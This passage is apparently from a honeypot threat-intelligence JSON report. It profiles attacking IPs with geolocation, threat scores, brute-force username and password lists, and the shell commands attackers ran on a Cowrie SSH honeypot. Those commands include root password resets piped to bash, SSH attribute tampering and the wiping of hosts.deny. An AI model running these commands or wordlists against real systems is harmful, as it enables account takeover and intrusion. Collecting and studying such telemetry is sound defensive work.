        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5687,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:15:51.173000+00:00",
        "last_seen_30d": "2026-05-03T18:36:30.907000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3706,
        "Suricata": 1981
      }
    },
    "206.189.205.6": {
      "attack_count": 2436,
      "first_seen": "2026-05-16T01:49:50.001Z",
      "last_seen": "2026-05-21T01:02:49.030Z",
      "sessions": 1218,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4053,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T01:44:22.739000+00:00",
        "last_seen_30d": "2026-05-21T01:05:00.386000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2436,
        "Suricata": 1617
      }
    },
    "109.206.241.199": {
      "attack_count": 837,
      "first_seen": "2026-05-04T00:52:37.991Z",
      "last_seen": "2026-05-21T10:14:43.548Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "user",
        "mysql",
        "chiji",
        "guest",
        "netadmin",
        "pham",
        "test",
        "volcengine",
        "administrator",
        "cho",
        "csgo",
        "dmit",
        "dovecot",
        "es",
        "ftpuser",
        "hadoop"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "password",
        "123",
        "P@ssw0rd",
        "test123",
        "111",
        "111111",
        "111222",
        "1122334455",
        "123456a@",
        "123abc",
        "1q2w3e4r",
        "4321",
        "43214321",
        "555555",
        "654321",
        "Admin234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\niZk9EYztlqRv\\niZk9EYztlqRv\\n\"|passwd",
        "echo \"123456\\npBOiHrvnDhp3\\npBOiHrvnDhp3\\n\"|passwd",
        "echo \"a1a1a1\\nD9SefhT6qurU\\nD9SefhT6qurU\\n\"|passwd",
        "echo \"default\\n27JhQU9Gzd8J\\n27JhQU9Gzd8J\\n\"|passwd",
        "echo \"netadmin\\nqqVaNponKeJS\\nqqVaNponKeJS\\n\"|passwd",
        "echo \"password\\n6koQahRXXWyI\\n6koQahRXXWyI\\n\"|passwd",
        "echo -e \"123456\\niZk9EYztlqRv\\niZk9EYztlqRv\"|passwd|bash",
        "echo -e \"123456\\npBOiHrvnDhp3\\npBOiHrvnDhp3\"|passwd|bash",
        "echo -e \"a1a1a1\\nD9SefhT6qurU\\nD9SefhT6qurU\"|passwd|bash",
        "echo -e \"default\\n27JhQU9Gzd8J\\n27JhQU9Gzd8J\"|passwd|bash",
        "echo -e \"netadmin\\nqqVaNponKeJS\\nqqVaNponKeJS\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Estonia",
      "country_code": "EE",
      "city": "Tallinn",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1045,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:52:37.991000+00:00",
        "last_seen_30d": "2026-05-21T10:15:49.341000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 837,
        "Suricata": 208
      }
    },
    "52.169.217.131": {
      "attack_count": 698,
      "first_seen": "2026-05-04T22:52:06.623Z",
      "last_seen": "2026-05-29T05:32:02.625Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "postgres",
        "xh",
        "ali",
        "test",
        "user",
        "Michelle",
        "Ubuntu",
        "admin2",
        "andy",
        "bitrix",
        "ec2-user",
        "foo",
        "ftp_user",
        "ftpadmin",
        "ftpuser1",
        "fuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "fjbdfdjkdsfs541544",
        "0",
        "1",
        "111111",
        "11111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456a",
        "123qwe",
        "159753",
        "1a2b3c!@#",
        "1qaz2wsx!@",
        "1qaz3edc",
        "1z2x3c",
        "99999999"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nvSneEeIlYaZJ\\nvSneEeIlYaZJ\\n\"|passwd",
        "echo \"1qaz3edc\\nSiNdTiFpQzq5\\nSiNdTiFpQzq5\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\no2IBZVPJqewS\\no2IBZVPJqewS\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nwR5IN8DPbjgl\\nwR5IN8DPbjgl\\n\"|passwd",
        "echo \"root:WFcv4cA4sk93\"|chpasswd|bash",
        "echo \"rootroot\\nBIOuY5jkuV4g\\nBIOuY5jkuV4g\\n\"|passwd",
        "echo -e \"123\\nvSneEeIlYaZJ\\nvSneEeIlYaZJ\"|passwd|bash",
        "echo -e \"1qaz3edc\\nSiNdTiFpQzq5\\nSiNdTiFpQzq5\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\no2IBZVPJqewS\\no2IBZVPJqewS\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nwR5IN8DPbjgl\\nwR5IN8DPbjgl\"|passwd|bash",
        "echo -e \"rootroot\\nBIOuY5jkuV4g\\nBIOuY5jkuV4g\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Dublin",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 58.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.3,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 851,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T22:52:06.623000+00:00",
        "last_seen_30d": "2026-05-29T05:33:04.328000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 698,
        "Suricata": 153
      }
    },
    "103.149.27.208": {
      "attack_count": 591,
      "first_seen": "2026-05-06T17:05:23.271Z",
      "last_seen": "2026-05-18T13:22:02.229Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "mcadmin",
        "admin",
        "administrator",
        "bitrix",
        "deploy",
        "deployer",
        "djangoadmin",
        "git",
        "gpadmin",
        "guest",
        "guestguest",
        "maint",
        "mysql",
        "odoo11",
        "postgres",
        "test",
        "testing"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "12345678",
        "1234567890",
        "123456qwe",
        "1905",
        "23wesdxc",
        "987654321",
        "A123456bc",
        "Aa112233",
        "Admin123",
        "Passw0rd",
        "Password1",
        "ZAQ!2wsx",
        "a",
        "admin",
        "admin1234567890"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"mcadmin\\nxcwdbtKmiynR\\nxcwdbtKmiynR\\n\"|passwd",
        "echo \"root:2d3ZUntJmCt0\"|chpasswd|bash",
        "echo \"root:NMEmgDEtO2s8\"|chpasswd|bash",
        "echo \"root:U21bxvalxc8u\"|chpasswd|bash",
        "echo \"root:Xp0QWM1Xw8Jt\"|chpasswd|bash",
        "echo -e \"mcadmin\\nxcwdbtKmiynR\\nxcwdbtKmiynR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 723,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:05:23.271000+00:00",
        "last_seen_30d": "2026-05-18T13:23:05.675000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 591,
        "Suricata": 132
      }
    },
    "43.156.91.197": {
      "attack_count": 384,
      "first_seen": "2026-05-16T15:28:25.017Z",
      "last_seen": "2026-05-16T16:03:05.877Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "qw",
        "username",
        "admin",
        "auser",
        "cassandra",
        "dev",
        "gitlab-runner",
        "mehdi",
        "radio",
        "ubuntu",
        "zhou"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "11223344",
        "123",
        "123456xx",
        "1qaz2wsx!QAZ",
        "20192019",
        "ASDFasdf1234",
        "Aa888888",
        "Passw0rd!",
        "Qwe123qwe",
        "Qwert123456",
        "abc123",
        "cassandra",
        "gitlab-runner",
        "host@123",
        "mehdi1234",
        "qw",
        "qwe123.."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"abc123\\nbIgHwtht9zp8\\nbIgHwtht9zp8\\n\"|passwd",
        "echo \"qw\\nUlPBLO1c4i16\\nUlPBLO1c4i16\\n\"|passwd",
        "echo \"root:5tApc6SlRiSc\"|chpasswd|bash",
        "echo \"root:fcy2WZwH5Pw6\"|chpasswd|bash",
        "echo -e \"abc123\\nbIgHwtht9zp8\\nbIgHwtht9zp8\"|passwd|bash",
        "echo -e \"qw\\nUlPBLO1c4i16\\nUlPBLO1c4i16\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 451,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:28:25.017000+00:00",
        "last_seen_30d": "2026-05-16T16:04:15.857000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 384,
        "Suricata": 67
      }
    },
    "177.36.214.46": {
      "attack_count": 337,
      "first_seen": "2026-05-24T21:35:59.612Z",
      "last_seen": "2026-05-30T03:42:18.303Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "cloud",
        "forest",
        "trading",
        "alex",
        "amir",
        "curl",
        "git",
        "krish",
        "postgres",
        "rc",
        "steve",
        "tst",
        "user9"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "1234",
        "12345",
        "123456",
        "123qweASD!@#",
        "Admin123*",
        "Lin123456",
        "Wangsu@2017",
        "admin123",
        "admin123456",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "forest",
        "ftp123",
        "infinity@123",
        "krish",
        "postgres"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"admin123\\nsy0E7RW4aZzW\\nsy0E7RW4aZzW\\n\"|passwd",
        "echo \"forest\\nci0QOht0cckO\\nci0QOht0cckO\\n\"|passwd",
        "echo -e \"admin123\\nsy0E7RW4aZzW\\nsy0E7RW4aZzW\"|passwd|bash",
        "echo -e \"forest\\nci0QOht0cckO\\nci0QOht0cckO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Pirapora",
      "asn": 52967,
      "as_org": "NT Brasil Tecnologia Ltda. ME",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.3,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 429,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T21:35:59.612000+00:00",
        "last_seen_30d": "2026-05-30T03:43:28.072000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 337,
        "Suricata": 92
      }
    },
    "114.33.118.152": {
      "attack_count": 306,
      "first_seen": "2026-05-19T18:46:06.673Z",
      "last_seen": "2026-05-20T18:14:56.910Z",
      "sessions": 153,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Chang-hua",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 459,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:46:06.673000+00:00",
        "last_seen_30d": "2026-05-20T18:16:04.590000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 306,
        "Suricata": 153
      }
    },
    "103.182.132.154": {
      "attack_count": 288,
      "first_seen": "2026-05-11T21:21:26.937Z",
      "last_seen": "2026-05-11T21:52:32.900Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "mysql",
        "345gs5662d34",
        "ali",
        "ec2-user",
        "user",
        "ansadmin",
        "deploy",
        "ftpusers",
        "git_user",
        "sysadmin",
        "test1",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "p@ssw0rd",
        "#EDC4rfv",
        "11",
        "123321",
        "12345",
        "1q2w3",
        "1q2w3e4r5t",
        "654321",
        "Password123",
        "User123",
        "admin#0",
        "admin123456.",
        "adminserver2023",
        "ali22",
        "ansadmin@123",
        "cactiadmin",
        "ftpusers",
        "git_user"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"654321\\nnIKFgOVmKIgR\\nnIKFgOVmKIgR\\n\"|passwd",
        "echo \"p@ssw0rd\\n6D0KYJx2f2kK\\n6D0KYJx2f2kK\\n\"|passwd",
        "echo -e \"654321\\nnIKFgOVmKIgR\\nnIKFgOVmKIgR\"|passwd|bash",
        "echo -e \"p@ssw0rd\\n6D0KYJx2f2kK\\n6D0KYJx2f2kK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 149526,
      "as_org": "GITELENET PRIVATE LIMITED",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T21:21:26.937000+00:00",
        "last_seen_30d": "2026-05-11T21:53:40.696000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "110.239.88.219": {
      "attack_count": 287,
      "first_seen": "2026-05-05T08:14:33.207Z",
      "last_seen": "2026-05-05T08:55:07.058Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "user",
        "345gs5662d34",
        "steam",
        "test",
        "test1",
        "bmuuser",
        "ec2-user",
        "guest",
        "guest3",
        "pyuser",
        "tempuser",
        "ubuntu2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123",
        "123321",
        "123456",
        "12345678",
        "123456@qq.com",
        "123456ab",
        "1234rewq",
        "123qwe",
        "123test123",
        "1qazxsw23edc",
        "20",
        "Huawei123",
        "P@ssword1!",
        "Passw0rd",
        "admin123",
        "admin@123",
        "adminisp",
        "asd1234567"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:63YwCU4NyTtp\"|chpasswd|bash",
        "echo \"ubuntu12345\\nynlJ3QOohGp6\\nynlJ3QOohGp6\\n\"|passwd",
        "echo -e \"ubuntu12345\\nynlJ3QOohGp6\\nynlJ3QOohGp6\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T08:14:33.207000+00:00",
        "last_seen_30d": "2026-05-05T08:56:08.430000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 75
      }
    },
    "152.32.220.188": {
      "attack_count": 281,
      "first_seen": "2026-05-30T17:14:30.737Z",
      "last_seen": "2026-05-30T17:36:16.820Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "oo",
        "wiki",
        "book",
        "deploy",
        "linda",
        "mamy",
        "nia",
        "prueba",
        "sammy",
        "story",
        "transfer",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1qaz2wsx",
        "Admin123456*",
        "mamamiya",
        "mamy",
        "nia",
        "password",
        "password123",
        "qw12QW!@",
        "story",
        "test",
        "transfer",
        "wiki123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\n7TD3MIFawzjA\\n7TD3MIFawzjA\\n\"|passwd",
        "echo \"root:1vCFcAj4XYwc\"|chpasswd|bash",
        "echo \"wiki123\\nbAjPpnxml2RA\\nbAjPpnxml2RA\\n\"|passwd",
        "echo -e \"123\\n7TD3MIFawzjA\\n7TD3MIFawzjA\"|passwd|bash",
        "echo -e \"wiki123\\nbAjPpnxml2RA\\nbAjPpnxml2RA\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T17:14:30.737000+00:00",
        "last_seen_30d": "2026-05-30T17:37:26.092000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 46
      }
    },
    "27.50.25.190": {
      "attack_count": 280,
      "first_seen": "2026-05-23T07:17:04.897Z",
      "last_seen": "2026-05-23T08:09:59.922Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "audit",
        "admin123",
        "gerrit",
        "git",
        "jrodriguez",
        "postgres",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234..",
        "123456",
        "12345678",
        "1234qweR",
        "1q2w3e4r!",
        "Aa000000",
        "Aa@11223344",
        "Ctyun@2026",
        "Passw0rd$",
        "QWERTY12345",
        "Salon@123",
        "admin123",
        "audit",
        "gerrit",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
